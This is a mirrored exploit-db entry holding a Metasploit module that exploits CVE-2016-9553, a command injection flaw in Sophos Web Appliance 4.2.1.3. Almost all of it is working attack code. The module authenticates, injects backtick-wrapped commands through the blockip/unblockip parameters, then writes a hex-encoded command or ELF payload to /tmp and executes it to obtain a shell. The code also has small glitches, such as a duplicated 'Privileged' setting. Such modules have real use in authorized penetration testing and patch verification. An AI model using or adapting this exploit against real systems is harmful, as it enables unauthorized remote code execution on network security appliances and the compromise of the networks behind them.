Sophos Web Appliance 4.2.1.3 – block/unblock Remote Command Injection (Metasploit)

  • 作者: xort
    日期: 2016-12-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41413/
  • # Exploit Title: Sophos Web Appliance UnBlock/Block-IP Remote Command Injection Vulnerablity 
    # Date: 12/12/2016
    # Exploit Author: xort @ Critical Start
    # Vendor Homepage: www.sophos.com 
    # Software Link: sophos.com/en-us/products/secure-web-gateway.aspx
    # Version: 4.2.1.3
    # Tested on: 4.2.1.3
    #
    # CVE : CVE-2016-9553
    
    # vuln 1: unblockip parameter / MgrReport.php exploit
    # vuln 2: blockip parameter / MgrReport.php exploit
    
    # Description PostAuth Sophos Web App FW <= v4.2.1.3 for capablities. This exploit leverages a command injection bug. 
    #
    # xort @ Critical Start
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    	includeExploit::Remote::Tcp
    include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Sophos Web Appliace <= v4.2.1.3 block/unblock remote exploit',
    					'Description'=> %q{
    					This module exploits two 2 seperate remote command injecection vulnerabilities in
    				the Sophos Web Appliace Version <=v4.2.1.3 the web administration interface.
    					By sending a specially crafted request it's possible to inject system
    				 commands 
    			},
    			'Author' =>
    				[
    					'xort', # vuln + metasploit module
    				],
    			'Version'=> '$Revision: 2 $',
    			'References' =>
    				[
    					[ 'none', 'none'],
    				],
    			'Platform'=> [ 'linux'],
    			'Privileged' => true,
    			 'Arch'=> [ ARCH_X86 ],
    'SessionTypes'=> [ 'shell' ],
    'Privileged' => false,
    
    		'Payload'=>
    { 
    'Compat' =>
    {
    'ConnectionType' => 'find',
    }
    },
    
    			'Targets'=>
    				[
    					[
    						'blockip method',
    						{
    								'Arch' => ARCH_X86,
    								'Platform' => 'linux',
    								'VulnName' => 'blockip',
    								'VulnNum' => '1',
    						},
    					],	
    					[
    						'unblockip method',
    						{
    								'Arch' => ARCH_X86,
    								'Platform' => 'linux',
    								'VulnName' => 'unblockip',
    								'VulnNum' => '2',
    						},
    					],
    				],
    			'DefaultTarget' => 0))
    
    			register_options(
    				[
    					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
    			 	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
    					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
    					Opt::RPORT(443),
    				], self.class)
    	end
    
    
    def do_login(username, password_clear)
    vprint_status( "Logging into machine with credentials...\n" )
    
    # vars
    timeout = 11550;
    style_key = Rex::Text.rand_text_hex(32)
    
    # send request
    res = send_request_cgi(
    {
    'method'=> 'POST',
    'uri' => "/index.php",
    'vars_get' => {
    			 'c' => 'login',
    			},
    'vars_post' =>
    {
    
     			'STYLE' => style_key,
     			'destination' => '',
    			'username' => username,
    			'password' => password_clear,
    }
    }, timeout)
    
    return style_key
    end
    
    	def run_command(username, style_password, cmd)
    		vprint_status( "Running Command...\n" )
    
    		# random attack method from calling methods into
    		calling_commands = [ 'report','trend_volume','trend_suspect','top_app_ctrl','perf_latency','perf_throughput','users_browse_summary','traf_sites','traf_blocked','traf_users','users_virus_downloaders','users_pua_downloaders','users_highrisk','users_policy_violators','users_top_users_by_browse_time','users_quota','users_browse_time_by_user','users_top_users_by_category','users_site_visits_by_user','users_category_visits_by_user','users_monitored_search_queries','users_app_ctrl','traf_category','traf_download' ,'warned_sites' ]
    
    		# select random calling page that calls the vulnerable page MgrReport.php where the vulns are
    		attack_method = calling_commands[rand(calling_commands.length)]
    
    # random filename to dump too + 'tmp' HAS to be here.
    b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
    
    		vprint_status( "Attacking Vuln #" + target['VulnNum']+ " - " + target['VulnName'] + " with " + attack_method+ "command method" )
    		res = send_request_cgi({
    			'method' => 'GET',
    			'uri' => '/index.php?c=trend_suspect&' + target['VulnName'] + '=1.2.3.6`'+ cmd +'`&STYLE='+style_password
    		})
    
    	end
    
    	def exploit
    		# timeout
    		timeout = 1550;
    
    		# params
    		password_clear = datastore['PASSWORD']
    		user = datastore['USERNAME']
    		
    		style_hash = do_login(user, password_clear)
    	
    		vprint_status("STATUS hash authenticated: #{style_hash}\n")
    
    		sleep(5)
    
    		 #if no 'CMD' string - add code for root shell
    if not datastore['CMD'].nil? and not datastore['CMD'].empty?
    
    cmd = datastore['CMD']
    
    # Encode cmd payload
    encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
    
    # kill stale calls to bdump from previous exploit calls for re-use
    run_command(user, style_hash, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
    else
    # Encode payload to ELF file for deployment
    elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
    encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\x\1\2')
    
    			# upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
    run_command(user, style_hash, ("echo%20-e%20#{encoded_elf}\>%20/tmp/m\;chmod%20%2brx%20/tmp/m\;/tmp/m"))
    			# wait for magic
    handler
    			
    end
    
    
    	end
    end